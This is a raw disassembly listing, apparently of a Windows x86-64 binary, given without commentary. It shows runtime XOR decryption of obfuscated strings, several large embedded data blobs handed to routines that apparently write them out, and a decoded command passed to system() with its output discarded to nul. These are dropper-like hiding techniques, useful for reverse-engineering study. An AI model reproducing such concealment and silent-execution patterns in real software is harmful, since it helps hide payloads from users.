mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a88266e730e24c4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e80], rcx
movabs rax, 0xabe13b9d66f2a51c
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e88], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e90], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e98], rax
movdqa xmm0, xmmword [rbp + 0x1e80]
xorps xmm0, xmmword [rbp + 0x1e90]
movdqa xmmword [rbp + 0x1e80], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1ea0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e048]
movss xmm1, dword [0x14014e14c]
lea rcx, [rbp + 0x958]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1e80]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x1eb0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e140]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e160]
lea rcx, [rbp + 0x960]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0dc]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e144]
lea rcx, [rbp + 0x968]
call fcn.1400014d0
movss dword [rsp + 0x30], xmm7
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
movss xmm2, dword [0x14014e0ec]
movss xmm1, dword [0x14014e148]
lea rcx, [rbp + 0x970]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x29da2f6971133bd9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ec0], rax
movabs rax, 0xab8655f473faa520
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ec8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ed0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ed8], rax
movdqa xmm0, xmmword [rbp + 0x1ec0]
xorps xmm0, xmmword [rbp + 0x1ed0]
movdqa xmmword [rbp + 0x1ec0], xmm0
lea rdx, [0x140387190]
lea rcx, [rbp + 0x1ec0]
call fcn.140032240
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5aca6d3a3c2c04c3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ee0], rax
movabs rax, 0xabe148ee74e5b312
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ee8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ef0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ef8], rax
movdqa xmm0, xmmword [rbp + 0x1ee0]
xorps xmm0, xmmword [rbp + 0x1ef0]
movdqa xmmword [rbp + 0x1ee0], xmm0
lea rdx, [0x14038e96c]
lea rcx, [rbp + 0x1ee0]
call fcn.140032240
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1595335b3c0235da
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f00], rax
movabs rax, 0xabe13b9d72fba336
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f08], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f10], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f18], rax
movdqa xmm0, xmmword [rbp + 0x1f00]
xorps xmm0, xmmword [rbp + 0x1f10]
movdqa xmmword [rbp + 0x1f00], xmm0
lea rdx, [0x140387193]
lea rcx, [rbp + 0x1f00]
call fcn.140032240
call fcn.140016b70
cmp dword [0x14038e7a0], 0xc
jne 0x14006c432
addss xmm12, dword [0x14014df94]
movss dword [rbp + 0x170], xmm12
movss xmm2, dword [0x14014e09c]
movss xmm1, dword [0x14014e100]
lea rcx, [rbp + 0x978]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
mov dword [rsp + 0x20], r14d
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1f20]
call fcn.14002fbd0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1f30]
call fcn.14002fbd0
mov r9, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7a9d2d6178003bdb
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1f40], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1f48], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f50], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f58], rax
movdqa xmm0, xmmword [rbp + 0x1f40]
xorps xmm0, xmmword [rbp + 0x1f50]
movdqa xmmword [rbp + 0x1f40], xmm0
mov dword [rsp + 0x38], r14d
movss xmm0, dword [0x14014dfd4]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14014dfe8]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
movss xmm2, dword [0x14014dfdc]
movaps xmm1, xmm6
lea rcx, [rbp + 0x1f40]
call fcn.14003d150
movss xmm2, dword [0x14014e0bc]
movss xmm1, dword [0x14014e0d8]
lea rcx, [rbp + 0x980]
call fcn.1400014d0
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1f60]
call fcn.14002fbd0
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1d942a6e730e24c4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2940], rax
movabs rax, 0xcf844fef74e19970
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2948], rax
movabs rax, 0xce5c620a59692b8b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2950], rax
movabs rbx, 0xf90d78d79683203a
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2958], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2960], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2968], rax
movabs rdi, 0xce5c620a59692b81
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2970], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2978], rax
vmovdqu ymm0, ymmword [rbp + 0x2940]
vpxor ymm1, ymm0, ymmword [rbp + 0x2960]
vmovdqa ymmword [rbp + 0x2940], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vmovss xmm0, dword [0x14014e014]
vmovss dword [rsp + 0x28], xmm0
vunpcklps xmm6, xmm6, xmm7
vmovsd qword [rsp + 0x20], xmm6
vmovss xmm3, dword [0x14014dfa4]
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x2940]
mov rcx, qword [0x14038e858]
vzeroupper
call fcn.140045eb0
comiss xmm12, dword [0x14014e154]
jbe 0x14006c432
cmp byte [0x140387190], 0
je 0x14006ba01
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7aad43541c5b54d4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f80], rax
movabs rax, 0xab8e3bf915fbca39
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f88], rax
movabs rax, 0xce0f6256591a2bf6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f90], rax
movabs rax, 0xf96878a396f02043
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4f98], rax
movabs rax, 0x503458aed1c861a6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fa0], rax
movabs rax, 0xc0dce2a48f790013
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fa8], rax
movabs rax, 0x51976fffba1e1dd9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fb0], rax
movabs rax, 0x56992aba53a007a5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fb8], rax
movabs rax, 0x36302f8567b1b25e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fc0], rax
movabs rax, 0x4c13ee610e75871d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fc8], rax
movabs rax, 0x53046667f6f2cb6c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fd0], rax
movabs rcx, 0xc9428f1574c842
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fd8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fe0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fe8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ff0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ff8], rax
movabs rsi, 0x5068589cd1fb61cb
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5000], rax
movabs rax, 0xc0b1e2c18f1b0064
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5008], rax
movabs rax, 0x51e46f9eba6a1d85
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5010], rax
movabs rax, 0x56f72adb53cd07ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5018], rax
movabs rax, 0x365d2fe067d6b23f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5020], rax
movabs rax, 0x4c3dee150e1b8778
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5028], rax
movabs rax, 0x53046602f68acb09
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5030], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5038], rax
vmovdqu ymm0, ymmword [rbp + 0x4f80]
vpxor ymm1, ymm0, ymmword [rbp + 0x4fe0]
vmovdqa ymmword [rbp + 0x4f80], ymm1
vmovdqu ymm0, ymmword [rbp + 0x4fa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5000]
vmovdqa ymmword [rbp + 0x4fa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x4fc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5020]
vmovdqa ymmword [rbp + 0x4fc0], ymm1
lea rdx, [rbp + 0x4f80]
lea rcx, [rbp + 0x2980]
vzeroupper
call fcn.1400734e0
nop
mov r8d, 0x5e670
lea rdx, [0x1401bb000]
lea rcx, [rbp + 0x2980]
call fcn.140041bd0
nop
lea rcx, [rbp + 0x2980]
call fcn.140073470
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7aad43541c5b54d4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5040], rax
movabs rax, 0xab8e3bf915fbca39
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5048], rax
movabs rax, 0xce0f6256591a2bf6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5050], rax
movabs rax, 0xf96878a396f02043
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5058], rax
movabs rax, 0x503458aed1c861a6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5060], rax
movabs rax, 0xc0dce2a48f790013
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5068], rax
movabs rax, 0x518d6ff3ba0b1dd9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5070], rax
movabs rax, 0x56932ab553a807a9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5078], rax
movabs rax, 0x36692fd667a0b24d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5080], rax
movabs rax, 0x4c4eee6c0e688756
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5088], rax
movabs rdx, 0x53046602f68acb09
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5090], rax
movabs rcx, 0xc9428f1574c842
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5098], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50a0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50a8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50b0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50b8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50c0], rax
movabs rax, 0xc0b1e2c18f1b0064
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50c8], rax
movabs rax, 0x51e46f9eba6a1d85
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50d0], rax
movabs rax, 0x56f72adb53cd07ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50d8], rax
movabs rax, 0x365d2fe067d6b23f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50e0], rax
movabs rax, 0x4c3dee150e1b8778
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50e8], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50f0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50f8], rax
vmovdqu ymm0, ymmword [rbp + 0x5040]
vpxor ymm1, ymm0, ymmword [rbp + 0x50a0]
vmovdqa ymmword [rbp + 0x5040], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5060]
vpxor ymm1, ymm0, ymmword [rbp + 0x50c0]
vmovdqa ymmword [rbp + 0x5060], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5080]
vpxor ymm1, ymm0, ymmword [rbp + 0x50e0]
vmovdqa ymmword [rbp + 0x5080], ymm1
lea rdx, [rbp + 0x5040]
lea rcx, [rbp + 0x29a0]
vzeroupper
call fcn.1400734e0
nop
mov r8d, 0x8788
lea rdx, [0x14016a230]
lea rcx, [rbp + 0x29a0]
call fcn.140041bd0
nop
lea rcx, [rbp + 0x29a0]
call fcn.140073470
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7aad43541c5b54d4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5100], rax
movabs rax, 0xab8e3bf915fbca39
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5108], rax
movabs rax, 0xce0f6256591a2bf6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5110], rax
movabs rax, 0xf96878a396f02043
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5118], rax
movabs rax, 0x503458aed1c861a6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5120], rax
movabs rax, 0xc0dce2a48f790013
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5128], rax
movabs rax, 0x518d6ff3ba0b1dd9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5130], rax
movabs rax, 0x56852abf53a107a8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5138], rax
movabs rax, 0x36732fd467e0b249
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5140], rax
movabs rax, 0x4c3dee660e62870b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5148], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x47e0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x47e8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x47f0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x47f8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4800], rax
movabs rax, 0xc0b1e2c18f1b0064
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4808], rax
movabs rax, 0x51e46f9eba6a1d85
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4810], rax
movabs rax, 0x56f72adb53cd07ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4818], rax
movabs rax, 0x365d2fe067d6b23f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4820], rax
movabs rax, 0x4c3dee150e1b8778
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4828], rax
vmovdqu ymm0, ymmword [rbp + 0x5100]
vpxor ymm1, ymm0, ymmword [rbp + 0x47e0]
vmovdqa ymmword [rbp + 0x5100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5120]
vpxor ymm1, ymm0, ymmword [rbp + 0x4800]
vmovdqa ymmword [rbp + 0x5120], ymm1
vmovdqa xmm0, xmmword [rbp + 0x5140]
vxorps xmm0, xmm0, xmmword [rbp + 0x4820]
vmovdqa xmmword [rbp + 0x5140], xmm0
lea rdx, [rbp + 0x5100]
lea rcx, [rbp + 0x29c0]
vzeroupper
call fcn.1400734e0
nop
mov r8d, 0x7180
lea rdx, [0x1401b3e80]
lea rcx, [rbp + 0x29c0]
call fcn.140041bd0
nop
lea rcx, [rbp + 0x29c0]
call fcn.140073470
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7aad43541c5b54d4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5160], rax
movabs rax, 0xab8e3bf915fbca39
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5168], rax
movabs rax, 0xce0f6256591a2bf6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5170], rax
movabs rax, 0xf96878a396f02043
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5178], rax
movabs rax, 0x503458aed1c861a6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5180], rax
movabs rax, 0xc0dce2a48f790013
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5188], rax
movabs rax, 0x51976ff7ba2e1dd9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5190], rax
movabs rax, 0x56992aba53a007a5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5198], rax
movabs rax, 0x36332f8d67a2b258
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51a0], rax
movabs rax, 0x4c58ee6d0e7e8756
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51a8], rax
movabs rdx, 0x53046602f68acb09
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51b0], rax
movabs rcx, 0xc9428f1574c842
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51b8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51c0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51c8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51d0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51d8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51e0], rax
movabs rax, 0xc0b1e2c18f1b0064
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51e8], rax
movabs rax, 0x51e46f9eba6a1d85
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51f0], rax
movabs rax, 0x56f72adb53cd07ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x51f8], rax
movabs rax, 0x365d2fe067d6b23f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5200], rax
movabs rax, 0x4c3dee150e1b8778
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5208], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5210], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5218], rax
vmovdqu ymm0, ymmword [rbp + 0x5160]
vpxor ymm1, ymm0, ymmword [rbp + 0x51c0]
vmovdqa ymmword [rbp + 0x5160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5180]
vpxor ymm1, ymm0, ymmword [rbp + 0x51e0]
vmovdqa ymmword [rbp + 0x5180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x51a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5200]
vmovdqa ymmword [rbp + 0x51a0], ymm1
lea rdx, [rbp + 0x5160]
lea rcx, [rbp + 0x29e0]
vzeroupper
call fcn.1400734e0
nop
mov r8d, 0x296b0
lea rdx, [0x14023c890]
lea rcx, [rbp + 0x29e0]
call fcn.140041bd0
nop
lea rcx, [rbp + 0x29e0]
call fcn.140073470
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x2a00]
call fcn.140043e30
nop
xor eax, eax
mov byte [rbp + 0x21], al
lea rdx, [rbp + 0x3810]
lea rcx, [rbp + 0x21]
call fcn.14006c940
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140051b00
mov r8d, r14d
cmp r12d, 2
jl 0x140051ac1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400519d0
cmp r8d, 0x32
jge 0x140051b00
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140051ad0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2a20]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2a40]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2a40]
call fcn.140073650
nop
lea rcx, [rbp + 0x2a20]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x22], al
lea rdx, [rbp + 0x3500]
lea rcx, [rbp + 0x22]
call fcn.14006c970
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140051cd0
mov r8d, r14d
cmp r12d, 2
jl 0x140051c91
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140051ba0
